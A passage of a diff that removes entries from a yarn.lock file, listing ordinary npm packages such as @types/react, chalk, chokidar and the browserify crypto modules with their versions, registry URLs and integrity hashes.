-"@types/react-syntax-highlighter@^13.5.0": - version "13.5.0" - resolved "https://registry.yarnpkg.com/@types/react-syntax-highlighter/-/react-syntax-highlighter-13.5.0.tgz#b93c05f28844e7c35a5f1d38d3819099ffa82fbd" - integrity sha512-U7DrUaQRv3b+fsbPXMf7vC21K7DOkdNCQtp14Wm0Z5YLI9fPhndN4YTZ9eVXwmAivIg6lZ3YBVtGYucAS3H76A== - dependencies: - "@types/react" "*" - -"@types/react-transition-group@^4.2.0": - version "4.4.1" - resolved "https://registry.yarnpkg.com/@types/react-transition-group/-/react-transition-group-4.4.1.tgz#e1a3cb278df7f47f17b5082b1b3da17170bd44b1" - integrity sha512-vIo69qKKcYoJ8wKCJjwSgCTM+z3chw3g18dkrDfVX665tMH7tmbDxEAnPdey4gTlwZz5QuHGzd+hul0OVZDqqQ== - dependencies: - "@types/react" "*" - -"@types/react@*", "@types/react@^17.0.3": - version "17.0.3" - resolved "https://registry.yarnpkg.com/@types/react/-/react-17.0.3.tgz#ba6e215368501ac3826951eef2904574c262cc79" - integrity sha512-wYOUxIgs2HZZ0ACNiIayItyluADNbONl7kt8lkLjVK8IitMH5QMyAh75Fwhmo37r1m7L2JaFj03sIfxBVDvRAg== - dependencies: - "@types/prop-types" "*" - "@types/scheduler" "*" - csstype "^3.0.2" - -"@types/scheduler@*": - version "0.16.1" - resolved "https://registry.yarnpkg.com/@types/scheduler/-/scheduler-0.16.1.tgz#18845205e86ff0038517aab7a18a62a6b9f71275" - integrity sha512-EaCxbanVeyxDRTQBkdLb3Bvl/HK7PBK6UJjsSixB0iHKoWxE5uu2Q/DgtpOhPIojN0Zl1whvOd7PoHs2P0s5eA== - -"@types/unist@*", "@types/unist@^2.0.0", "@types/unist@^2.0.2", "@types/unist@^2.0.3": - version "2.0.3" - resolved "https://registry.yarnpkg.com/@types/unist/-/unist-2.0.3.tgz#9c088679876f374eb5983f150d4787aa6fb32d7e" - integrity sha512-FvUupuM3rlRsRtCN+fDudtmytGO6iHJuuRKS1Ss0pG5z8oX0diNEw94UEL7hgDbpN94rgaK5R7sWm6RrSkZuAQ== - -anser@1.4.9: - version "1.4.9" - resolved "https://registry.yarnpkg.com/anser/-/anser-1.4.9.tgz#1f85423a5dcf8da4631a341665ff675b96845760" - integrity sha512-AI+BjTeGt2+WFk4eWcqbQ7snZpDBt8SaLlj0RT2h5xfdWaiy51OjYvqwMrNzJLGy8iOAL6nKDITWO+rd4MkYEA== - -ansi-regex@^5.0.0: - version "5.0.0" - resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-5.0.0.tgz#388539f55179bf39339c81af30a654d69f87cb75" - integrity sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg== - -ansi-styles@^3.2.1: - version "3.2.1" - resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-3.2.1.tgz#41fbb20243e50b12be0f04b8dedbf07520ce841d" - integrity sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA== - dependencies: - color-convert "^1.9.0" - -ansi-styles@^4.1.0: - version "4.3.0" - resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-4.3.0.tgz#edd803628ae71c04c85ae7a0906edad34b648937" - integrity sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg== - dependencies: - color-convert "^2.0.1" - -anymatch@~3.1.1: - version "3.1.1" - resolved "https://registry.yarnpkg.com/anymatch/-/anymatch-3.1.1.tgz#c55ecf02185e2469259399310c173ce31233b142" - integrity sha512-mM8522psRCqzV+6LhomX5wgp25YVibjh8Wj23I5RPkPppSVSjyKD2A2mBJmWGa+KN7f2D6LNh9jkBCeyLktzjg== - dependencies: - normalize-path "^3.0.0" - picomatch "^2.0.4" - -asn1.js@^5.2.0: - version "5.4.1" - resolved "https://registry.yarnpkg.com/asn1.js/-/asn1.js-5.4.1.tgz#11a980b84ebb91781ce35b0fdc2ee294e3783f07" - integrity sha512-+I//4cYPccV8LdmBLiX8CYvf9Sp3vQsrqu2QNXRcrbiWvcx/UdlFiqUJJzxRQxgsZmvhXhn4cSKeSmoFjVdupA== - dependencies: - bn.js "^4.0.0" - inherits "^2.0.1" - minimalistic-assert "^1.0.0" - safer-buffer "^2.1.0" - -assert@^1.1.1: - version "1.5.0" - resolved "https://registry.yarnpkg.com/assert/-/assert-1.5.0.tgz#55c109aaf6e0aefdb3dc4b71240c70bf574b18eb" - integrity sha512-EDsgawzwoun2CZkCgtxJbv392v4nbk9XDD06zI+kQYoBM/3RBWLlEyJARDOmhAAosBjWACEkKL6S+lIZtcAubA== - dependencies: - object-assign "^4.1.1" - util "0.10.3" - -ast-types@0.13.2: - version "0.13.2" - resolved "https://registry.yarnpkg.com/ast-types/-/ast-types-0.13.2.tgz#df39b677a911a83f3a049644fb74fdded23cea48" - integrity sha512-uWMHxJxtfj/1oZClOxDEV1sQ1HCDkA4MG8Gr69KKeBjEVH0R84WlejZ0y2DcwyBlpAEMltmVYkVgqfLFb2oyiA== - -babel-plugin-syntax-jsx@6.18.0: - version "6.18.0" - resolved "https://registry.yarnpkg.com/babel-plugin-syntax-jsx/-/babel-plugin-syntax-jsx-6.18.0.tgz#0af32a9a6e13ca7a3fd5069e62d7b0f58d0d8946" - integrity sha1-CvMqmm4Tyno/1QaeYtew9Y0NiUY= - -bail@^1.0.0: - version "1.0.5" - resolved "https://registry.yarnpkg.com/bail/-/bail-1.0.5.tgz#b6fa133404a392cbc1f8c4bf63f5953351e7a776" - integrity sha512-xFbRxM1tahm08yHBP16MMjVUAvDaBMD38zsM9EMAUN61omwLmKlOpB/Zku5QkjZ8TZ4vn53pj+t518cH0S03RQ== - -base64-js@^1.0.2: - version "1.5.1" - resolved "https://registry.yarnpkg.com/base64-js/-/base64-js-1.5.1.tgz#1b1b440160a5bf7ad40b650f095963481903930a" - integrity sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA== - -big.js@^5.2.2: - version "5.2.2" - resolved "https://registry.yarnpkg.com/big.js/-/big.js-5.2.2.tgz#65f0af382f578bcdc742bd9c281e9cb2d7768328" - integrity sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ== - -binary-extensions@^2.0.0: - version "2.2.0" - resolved "https://registry.yarnpkg.com/binary-extensions/-/binary-extensions-2.2.0.tgz#75f502eeaf9ffde42fc98829645be4ea76bd9e2d" - integrity sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA== - -bn.js@^4.0.0, bn.js@^4.1.0, bn.js@^4.11.9: - version "4.12.0" - resolved "https://registry.yarnpkg.com/bn.js/-/bn.js-4.12.0.tgz#775b3f278efbb9718eec7361f483fb36fbbfea88" - integrity sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA== - -bn.js@^5.0.0, bn.js@^5.1.1: - version "5.2.0" - resolved "https://registry.yarnpkg.com/bn.js/-/bn.js-5.2.0.tgz#358860674396c6997771a9d051fcc1b57d4ae002" - integrity sha512-D7iWRBvnZE8ecXiLj/9wbxH7Tk79fAh8IHaTNq1RWRixsS02W+5qS+iE9yq6RYl0asXx5tw0bLhmT5pIfbSquw== - -braces@~3.0.2: - version "3.0.2" - resolved "https://registry.yarnpkg.com/braces/-/braces-3.0.2.tgz#3454e1a462ee8d599e236df336cd9ea4f8afe107" - integrity sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A== - dependencies: - fill-range "^7.0.1" - -brorand@^1.0.1, brorand@^1.1.0: - version "1.1.0" - resolved "https://registry.yarnpkg.com/brorand/-/brorand-1.1.0.tgz#12c25efe40a45e3c323eb8675a0a0ce57b22371f" - integrity sha1-EsJe/kCkXjwyPrhnWgoM5XsiNx8= - -browserify-aes@^1.0.0, browserify-aes@^1.0.4: - version "1.2.0" - resolved "https://registry.yarnpkg.com/browserify-aes/-/browserify-aes-1.2.0.tgz#326734642f403dabc3003209853bb70ad428ef48" - integrity sha512-+7CHXqGuspUn/Sl5aO7Ea0xWGAtETPXNSAjHo48JfLdPWcMng33Xe4znFvQweqc/uzk5zSOI3H52CYnjCfb5hA== - dependencies: - buffer-xor "^1.0.3" - cipher-base "^1.0.0" - create-hash "^1.1.0" - evp_bytestokey "^1.0.3" - inherits "^2.0.1" - safe-buffer "^5.0.1" - -browserify-cipher@^1.0.0: - version "1.0.1" - resolved "https://registry.yarnpkg.com/browserify-cipher/-/browserify-cipher-1.0.1.tgz#8d6474c1b870bfdabcd3bcfcc1934a10e94f15f0" - integrity sha512-sPhkz0ARKbf4rRQt2hTpAHqn47X3llLkUGn+xEJzLjwY8LRs2p0v7ljvI5EyoRO/mexrNunNECisZs+gw2zz1w== - dependencies: - browserify-aes "^1.0.4" - browserify-des "^1.0.0" - evp_bytestokey "^1.0.0" - -browserify-des@^1.0.0: - version "1.0.2" - resolved "https://registry.yarnpkg.com/browserify-des/-/browserify-des-1.0.2.tgz#3af4f1f59839403572f1c66204375f7a7f703e9c" - integrity sha512-BioO1xf3hFwz4kc6iBhI3ieDFompMhrMlnDFC4/0/vd5MokpuAc3R+LYbwTA9A5Yc9pq9UYPqffKpW2ObuwX5A== - dependencies: - cipher-base "^1.0.1" - des.js "^1.0.0" - inherits "^2.0.1" - safe-buffer "^5.1.2" - -browserify-rsa@^4.0.0, browserify-rsa@^4.0.1: - version "4.1.0" - resolved "https://registry.yarnpkg.com/browserify-rsa/-/browserify-rsa-4.1.0.tgz#b2fd06b5b75ae297f7ce2dc651f918f5be158c8d" - integrity sha512-AdEER0Hkspgno2aR97SAf6vi0y0k8NuOpGnVH3O99rcA5Q6sh8QxcngtHuJ6uXwnfAXNM4Gn1Gb7/MV1+Ymbog== - dependencies: - bn.js "^5.0.0" - randombytes "^2.0.1" - -browserify-sign@^4.0.0: - version "4.2.1" - resolved "https://registry.yarnpkg.com/browserify-sign/-/browserify-sign-4.2.1.tgz#eaf4add46dd54be3bb3b36c0cf15abbeba7956c3" - integrity sha512-/vrA5fguVAKKAVTNJjgSm1tRQDHUU6DbwO9IROu/0WAzC8PKhucDSh18J0RMvVeHAn5puMd+QHC2erPRNf8lmg== - dependencies: - bn.js "^5.1.1" - browserify-rsa "^4.0.1" - create-hash "^1.2.0" - create-hmac "^1.1.7" - elliptic "^6.5.3" - inherits "^2.0.4" - parse-asn1 "^5.1.5" - readable-stream "^3.6.0" - safe-buffer "^5.2.0" - -browserify-zlib@^0.2.0: - version "0.2.0" - resolved "https://registry.yarnpkg.com/browserify-zlib/-/browserify-zlib-0.2.0.tgz#2869459d9aa3be245fe8fe2ca1f46e2e7f54d73f" - integrity sha512-Z942RysHXmJrhqk88FmKBVq/v5tqmSkDz7p54G/MGyjMnCFFnC79XWNbg+Vta8W6Wb2qtSZTSxIGkJrRpCFEiA== - dependencies: - pako "~1.0.5" - -browserslist@4.16.1: - version "4.16.1" - resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.16.1.tgz#bf757a2da376b3447b800a16f0f1c96358138766" - integrity sha512-UXhDrwqsNcpTYJBTZsbGATDxZbiVDsx6UjpmRUmtnP10pr8wAYr5LgFoEFw9ixriQH2mv/NX2SfGzE/o8GndLA== - dependencies: - caniuse-lite "^1.0.30001173" - colorette "^1.2.1" - electron-to-chromium "^1.3.634" - escalade "^3.1.1" - node-releases "^1.1.69" - -buffer-xor@^1.0.3: - version "1.0.3" - resolved "https://registry.yarnpkg.com/buffer-xor/-/buffer-xor-1.0.3.tgz#26e61ed1422fb70dd42e6e36729ed51d855fe8d9" - integrity sha1-JuYe0UIvtw3ULm42cp7VHYVf6Nk= - -buffer@5.6.0: - version "5.6.0" - resolved "https://registry.yarnpkg.com/buffer/-/buffer-5.6.0.tgz#a31749dc7d81d84db08abf937b6b8c4033f62786" - integrity sha512-/gDYp/UtU0eA1ys8bOs9J6a+E/KWIY+DZ+Q2WESNUA0jFRsJOc0SNUO6xJ5SGA1xueg3NL65W6s+NY5l9cunuw== - dependencies: - base64-js "^1.0.2" - ieee754 "^1.1.4" - -buffer@^4.3.0: - version "4.9.2" - resolved "https://registry.yarnpkg.com/buffer/-/buffer-4.9.2.tgz#230ead344002988644841ab0244af8c44bbe3ef8" - integrity sha512-xq+q3SRMOxGivLhBNaUdC64hDTQwejJ+H0T/NB1XMtTVEwNTrfFF3gAxiyW0Bu/xWEGhjVKgUcMhCrUy2+uCWg== - dependencies: - base64-js "^1.0.2" - ieee754 "^1.1.4" - isarray "^1.0.0" - -builtin-status-codes@^3.0.0: - version "3.0.0" - resolved "https://registry.yarnpkg.com/builtin-status-codes/-/builtin-status-codes-3.0.0.tgz#85982878e21b98e1c66425e03d0174788f569ee8" - integrity sha1-hZgoeOIbmOHGZCXgPQF0eI9Wnug= - -bytes@3.1.0: - version "3.1.0" - resolved "https://registry.yarnpkg.com/bytes/-/bytes-3.1.0.tgz#f6cf7933a360e0588fa9fde85651cdc7f805d1f6" - integrity sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg== - -caniuse-lite@^1.0.30001173, caniuse-lite@^1.0.30001179: - version "1.0.30001204" - resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001204.tgz#256c85709a348ec4d175e847a3b515c66e79f2aa" - integrity sha512-JUdjWpcxfJ9IPamy2f5JaRDCaqJOxDzOSKtbdx4rH9VivMd1vIzoPumsJa9LoMIi4Fx2BV2KZOxWhNkBjaYivQ== - -ccount@^1.0.0: - version "1.1.0" - resolved "https://registry.yarnpkg.com/ccount/-/ccount-1.1.0.tgz#246687debb6014735131be8abab2d93898f8d043" - integrity sha512-vlNK021QdI7PNeiUh/lKkC/mNHHfV0m/Ad5JoI0TYtlBnJAslM/JIkm/tGC88bkLIwO6OQ5uV6ztS6kVAtCDlg== - -chalk@2.4.2, chalk@^2.0.0, chalk@^2.4.2: - version "2.4.2" - resolved "https://registry.yarnpkg.com/chalk/-/chalk-2.4.2.tgz#cd42541677a54333cf541a49108c1432b44c9424" - integrity sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ== - dependencies: - ansi-styles "^3.2.1" - escape-string-regexp "^1.0.5" - supports-color "^5.3.0" - -chalk@4.0.0: - version "4.0.0" - resolved "https://registry.yarnpkg.com/chalk/-/chalk-4.0.0.tgz#6e98081ed2d17faab615eb52ac66ec1fe6209e72" - integrity sha512-N9oWFcegS0sFr9oh1oz2d7Npos6vNoWW9HvtCg5N1KRFpUhaAhvTv5Y58g880fZaEYSNm3qDz8SU1UrGvp+n7A== - dependencies: - ansi-styles "^4.1.0" - supports-color "^7.1.0" - -character-entities-legacy@^1.0.0: - version "1.1.4" - resolved "https://registry.yarnpkg.com/character-entities-legacy/-/character-entities-legacy-1.1.4.tgz#94bc1845dce70a5bb9d2ecc748725661293d8fc1" - integrity sha512-3Xnr+7ZFS1uxeiUDvV02wQ+QDbc55o97tIV5zHScSPJpcLm/r0DFPcoY3tYRp+VZukxuMeKgXYmsXQHO05zQeA== - -character-entities@^1.0.0: - version "1.2.4" - resolved "https://registry.yarnpkg.com/character-entities/-/character-entities-1.2.4.tgz#e12c3939b7eaf4e5b15e7ad4c5e28e1d48c5b16b" - integrity sha512-iBMyeEHxfVnIakwOuDXpVkc54HijNgCyQB2w0VfGQThle6NXn50zU6V/u+LDhxHcDUPojn6Kpga3PTAD8W1bQw== - -character-reference-invalid@^1.0.0: - version "1.1.4" - resolved "https://registry.yarnpkg.com/character-reference-invalid/-/character-reference-invalid-1.1.4.tgz#083329cda0eae272ab3dbbf37e9a382c13af1560" - integrity sha512-mKKUkUbhPpQlCOfIuZkvSEgktjPFIsZKRRbC6KWVEMvlzblj3i3asQv5ODsrwt0N3pHAEvjP8KTQPHkp0+6jOg== - -chokidar@3.5.1: - version "3.5.1" - resolved "https://registry.yarnpkg.com/chokidar/-/chokidar-3.5.1.tgz#ee9ce7bbebd2b79f49f304799d5468e31e14e68a" - integrity sha512-9+s+Od+W0VJJzawDma/gvBNQqkTiqYTWLuZoyAsivsI4AaWTCzHG06/TMjsf1cYe9Cb97UCEhjz7HvnPk2p/tw== - dependencies: - anymatch "~3.1.1" - braces "~3.0.2" - glob-parent "~5.1.0" - is-binary-path "~2.1.0" - is-glob "~4.0.1" - normalize-path "~3.0.0" - readdirp "~3.5.0" - optionalDependencies: - fsevents "~2.3.1" - -cipher-base@^1.0.0, cipher-base@^1.0.1, cipher-base@^1.0.3: - version "1.0.4" - resolved "https://registry.yarnpkg.com/cipher-base/-/cipher-base-1.0.4.tgz#8760e4ecc272f4c363532f926d874aae2c1397de" - integrity sha512-Kkht5ye6ZGmwv40uUDZztayT2ThLQGfnj/T71N/XzeZeo3nf8foyW7zGTsPYkEya3m5f3cAypH+qe7YOrM1U2Q== - dependencies: - inherits "^2.0.1" - safe-buffer "^5.0.1" - -classnames@2.2.6: - version "2.2.6" - resolved "https://registry.yarnpkg.com/classnames/-/classnames-2.2.6.tgz#43935bffdd291f326dad0a205309b38d00f650ce" - integrity sha512-JR/iSQOSt+LQIWwrwEzJ9uk0xfN3mTVYMwt1Ir5mUcSN6pU+V4zQFFaJsclJbPuAUQH+yfWef6tm7l1quW3C8Q== - -clipboard@^2.0.0: - version "2.0.8" - resolved "https://registry.yarnpkg.com/clipboard/-/clipboard-2.0.8.tgz#ffc6c103dd2967a83005f3f61976aa4655a4cdba" - integrity sha512-Y6WO0unAIQp5bLmk1zdThRhgJt/x3ks6f30s3oE3H1mgIEU33XyQjEf8gsf6DxC7NPX8Y1SsNWjUjL/ywLnnbQ== - dependencies: - good-listener "^1.2.2" - select "^1.1.2" - tiny-emitter "^2.0.0" - -clsx@^1.0.4: - version "1.1.1" - resolved "https://registry.yarnpkg.com/clsx/-/clsx-1.1.1.tgz#98b3134f9abbdf23b2663491ace13c5c03a73188" - integrity sha512-6/bPho624p3S2pMyvP5kKBPXnI3ufHLObBFCfgx+LkeR5lg2XYy2hqZqUf45ypD8COn2bhgGJSUE+l5dhNBieA== - -color-convert@^1.9.0: - version "1.9.3" - resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-1.9.3.tgz#bb71850690e1f136567de629d2d5471deda4c1e8" - integrity sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg== - dependencies: - color-name "1.1.3" - -color-convert@^2.0.1: - version "2.0.1" - resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-2.0.1.tgz#72d3a68d598c9bdb3af2ad1e84f21d896abd4de3" - integrity sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ== - dependencies: - color-name "~1.1.4" - -color-name@1.1.3: - version "1.1.3" - resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.3.tgz#a7d0558bd89c42f795dd42328f740831ca53bc25" - integrity sha1-p9BVi9icQveV3UIyj3QIMcpTvCU= - -color-name@~1.1.4: - version "1.1.4" - resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.4.tgz#c2a09a87acbde69543de6f63fa3995c826c536a2" - integrity sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA== - -colorette@^1.2.1: - version "1.2.2" - resolved "https://registry.yarnpkg.com/colorette/-/colorette-1.2.2.tgz#cbcc79d5e99caea2dbf10eb3a26fd8b3e6acfa94" - integrity sha512-MKGMzyfeuutC/ZJ1cba9NqcNpfeqMUcYmyF1ZFY6/Cn7CNSAKx6a+s48sqLqyAiZuaP2TcqMhoo+dlwFnVxT9w== - -comma-separated-tokens@^1.0.0: - version "1.0.8" - resolved "https://registry.yarnpkg.com/comma-separated-tokens/-/comma-separated-tokens-1.0.8.tgz#632b80b6117867a158f1080ad498b2fbe7e3f5ea" - integrity sha512-GHuDRO12Sypu2cV70d1dkA2EUmXHgntrzbpvOB+Qy+49ypNfGgFQIC2fhhXbnyrJRynDCAARsT7Ou0M6hirpfw== - -commondir@^1.0.1: - version "1.0.1" - resolved "https://registry.yarnpkg.com/commondir/-/commondir-1.0.1.tgz#ddd800da0c66127393cca5950ea968a3aaf1253b" - integrity sha1-3dgA2gxmEnOTzKWVDqloo6rxJTs= - -console-browserify@^1.1.0: - version "1.2.0" - resolved "https://registry.yarnpkg.com/console-browserify/-/console-browserify-1.2.0.tgz#67063cef57ceb6cf4993a2ab3a55840ae8c49336" - integrity sha512-ZMkYO/LkF17QvCPqM0gxw8yUzigAOZOSWSHg91FH6orS7vcEj5dVZTidN2fQ14yBSdg97RqhSNwLUXInd52OTA== - -constants-browserify@^1.0.0: - version "1.0.0" - resolved "https://registry.yarnpkg.com/constants-browserify/-/constants-browserify-1.0.0.tgz#c20b96d8c617748aaf1c16021760cd27fcb8cb75" - integrity sha1-wguW2MYXdIqvHBYCF2DNJ/y4y3U= - -convert-source-map@1.7.0: - version "1.7.0" - resolved "https://registry.yarnpkg.com/convert-source-map/-/convert-source-map-1.7.0.tgz#17a2cb882d7f77d3490585e2ce6c524424a3a442" - integrity sha512-4FJkXzKXEDB1snCFZlLP4gpC3JILicCpGbzG9f9G7tGqGCzETQ2hWPrcinA9oU4wtf2biUaEH5065UnMeR33oA== - dependencies: - safe-buffer "~5.1.1" - -core-util-is@~1.0.0: - version "1.0.2" - resolved "https://registry.yarnpkg.com/core-util-is/-/core-util-is-1.0.2.tgz#b5fd54220aa2bc5ab57aab7140c940754503c1a7" - integrity sha1-tf1UIgqivFq1eqtxQMlAdUUDwac= - -create-ecdh@^4.0.0: - version "4.0.4" - resolved "https://registry.yarnpkg.com/create-ecdh/-/create-ecdh-4.0.4.tgz#d6e7f4bffa66736085a0762fd3a632684dabcc4e" - integrity sha512-mf+TCx8wWc9VpuxfP2ht0iSISLZnt0JgWlrOKZiNqyUZWnjIaCIVNQArMHnCZKfEYRg6IM7A+NeJoN8gf/Ws0A== - dependencies: - bn.js "^4.1.0" - elliptic "^6.5.3" - -create-hash@^1.1.0, create-hash@^1.1.2, create-hash@^1.2.0: - version "1.2.0" - resolved "https://registry.yarnpkg.com/create-hash/-/create-hash-1.2.0.tgz#889078af11a63756bcfb59bd221996be3a9ef196" - integrity sha512-z00bCGNHDG8mHAkP7CtT1qVu+bFQUPjYq/4Iv3C3kWjTFV10zIjfSoeqXo9Asws8gwSHDGj/hl2u4OGIjapeCg== - dependencies: - cipher-base "^1.0.1" - inherits "^2.0.1" - md5.js "^1.3.4" - ripemd160 "^2.0.1" - sha.js "^2.4.0" - -create-hmac@^1.1.0, create-hmac@^1.1.4, create-hmac@^1.1.7: - version "1.1.7" - resolved "https://registry.yarnpkg.com/create-hmac/-/create-hmac-1.1.7.tgz#69170c78b3ab957147b2b8b04572e47ead2243ff" - integrity sha512-MJG9liiZ+ogc4TzUwuvbER1JRdgvUFSB5+VR/g5h82fGaIRWMWddtKBHi7/sVhfjQZ6SehlyhvQYrcYkaUIpLg== - dependencies: - cipher-base "^1.0.3" - create-hash "^1.1.0" - inherits "^2.0.1" - ripemd160 "^2.0.0" - safe-buffer "^5.0.1" - sha.js "^2.4.8" - -crypto-browserify@3.12.0, crypto-browserify@^3.11.0: - version "3.12.0" - resolved "https://registry.yarnpkg.com/crypto-browserify/-/crypto-browserify-3.12.0.tgz#396cf9f3137f03e4b8e532c58f698254e00f80ec" - integrity sha512-fz4spIh+znjO2VjL+IdhEpRJ3YN6sMzITSBijk6FK2UvTqruSQW+/cCZTSNsMiZNvUeq0CqurF+dAbyiGOY6Wg== - dependencies: - browserify-cipher "^1.0.0" - browserify-sign "^4.0.0" - create-ecdh "^4.0.0" - create-hash "^1.1.0" - create-hmac "^1.1.0" - diffie-hellman "^5.0.0" - inherits "^2.0.1" - pbkdf2 "^3.0.3" - public-encrypt "^4.0.0" - randombytes "^2.0.0" - randomfill "^1.0.3" - -css-vendor@^2.0.8: - version "2.0.8" - resolved "https://registry.yarnpkg.com/css-vendor/-/css-vendor-2.0.8.tgz#e47f91d3bd3117d49180a3c935e62e3d9f7f449d" - integrity sha512-x9Aq0XTInxrkuFeHKbYC7zWY8ai7qJ04Kxd9MnvbC1uO5DagxoHQjm4JvG+vCdXOoFtCjbL2XSZfxmoYa9uQVQ== - dependencies: - "@babel/runtime" "^7.8.3" - is-in-browser "^1.0.2" - -css.escape@1.5.1: - version "1.5.1" - resolved "https://registry.yarnpkg.com/css.escape/-/css.escape-1.5.1.tgz#42e27d4fa04ae32f931a4b4d4191fa9cddee97cb" - integrity sha1-QuJ9T6BK4y+TGktNQZH6nN3ul8s= - -cssnano-preset-simple@1.2.2: - version "1.2.2" - resolved "https://registry.yarnpkg.com/cssnano-preset-simple/-/cssnano-preset-simple-1.2.2.tgz#c631bf79ffec7fdfc4069e2f2da3ca67d99d8413" - integrity sha512-gtvrcRSGtP3hA/wS8mFVinFnQdEsEpm3v4I/s/KmNjpdWaThV/4E5EojAzFXxyT5OCSRPLlHR9iQexAqKHlhGQ== - dependencies: - caniuse-lite "^1.0.30001179" - postcss "^7.0.32" - -cssnano-simple@1.2.2: - version "1.2.2" - resolved "https://registry.yarnpkg.com/cssnano-simple/-/cssnano-simple-1.2.2.tgz#72c2c3970e67123c3b4130894a30dc1050267007" - integrity sha512-4slyYc1w4JhSbhVX5xi9G0aQ42JnRyPg+7l7cqoNyoIDzfWx40Rq3JQZnoAWDu60A4AvKVp9ln/YSUOdhDX68g== - dependencies: - cssnano-preset-simple "1.2.2" - postcss "^7.0.32" - -csstype@^2.5.2: - version "2.6.16" - resolved "https://registry.yarnpkg.com/csstype/-/csstype-2.6.16.tgz#544d69f547013b85a40d15bff75db38f34fe9c39" - integrity sha512-61FBWoDHp/gRtsoDkq/B1nWrCUG/ok1E3tUrcNbZjsE9Cxd9yzUirjS3+nAATB8U4cTtaQmAHbNndoFz5L6C9Q== - -csstype@^3.0.2: - version "3.0.7" - resolved "https://registry.yarnpkg.com/csstype/-/csstype-3.0.7.tgz#2a5fb75e1015e84dd15692f71e89a1450290950b" - integrity sha512-KxnUB0ZMlnUWCsx2Z8MUsr6qV6ja1w9ArPErJaJaF8a5SOWoHLIszeCTKGRGRgtLgYrs1E8CHkNSP1VZTTPc9g== - -data-uri-to-buffer@3.0.1: - version "3.0.1" - resolved "https://registry.yarnpkg.com/data-uri-to-buffer/-/data-uri-to-buffer-3.0.1.tgz#594b8973938c5bc2c33046535785341abc4f3636" - integrity sha512-WboRycPNsVw3B3TL559F7kuBUM4d8CgMEvk6xEJlOp7OBPjt6G7z8WMWlD2rOFZLk6OYfFIUGsCOWzcQH9K2og== - -debug@2: - version "2.6.9" - resolved "https://registry.yarnpkg.com/debug/-/debug-2.6.9.tgz#5d128515df134ff327e90a4c93f4e077a536341f" - integrity sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA== - dependencies: - ms "2.0.0" - -debug@^4.0.0: - version "4.3.1" - resolved "https://registry.yarnpkg.com/debug/-/debug-4.3.1.tgz#f0d229c505e0c6d8c49ac553d1b13dc183f6b2ee" - integrity sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ== - dependencies: - ms "2.1.2" - -delegate@^3.1.2: - version "3.2.0" - resolved "https://registry.yarnpkg.com/delegate/-/delegate-3.2.0.tgz#b66b71c3158522e8ab5744f720d8ca0c2af59166" - integrity sha512-IofjkYBZaZivn0V8nnsMJGBr4jVLxHDheKSW88PyxS5QC4Vo9ZbZVvhzlSxY87fVq3STR6r+4cGepyHkcWOQSw== - -depd@~1.1.2: - version "1.1.2" - resolved "https://registry.yarnpkg.com/depd/-/depd-1.1.2.tgz#9bcd52e14c097763e749b274c4346ed2e560b5a9" - integrity sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak= - -des.js@^1.0.0: - version "1.0.1" - resolved "https://registry.yarnpkg.com/des.js/-/des.js-1.0.1.tgz#5382142e1bdc53f85d86d53e5f4aa7deb91e0843" - integrity sha512-Q0I4pfFrv2VPd34/vfLrFOoRmlYj3OV50i7fskps1jZWK1kApMWWT9G6RRUeYedLcBDIhnSDaUvJMb3AhUlaEA== - dependencies: - inherits "^2.0.1" - minimalistic-assert "^1.0.0" - -diffie-hellman@^5.0.0: - version "5.0.3" - resolved "https://registry.yarnpkg.com/diffie-hellman/-/diffie-hellman-5.0.3.tgz#40e8ee98f55a2149607146921c63e1ae5f3d2875" - integrity 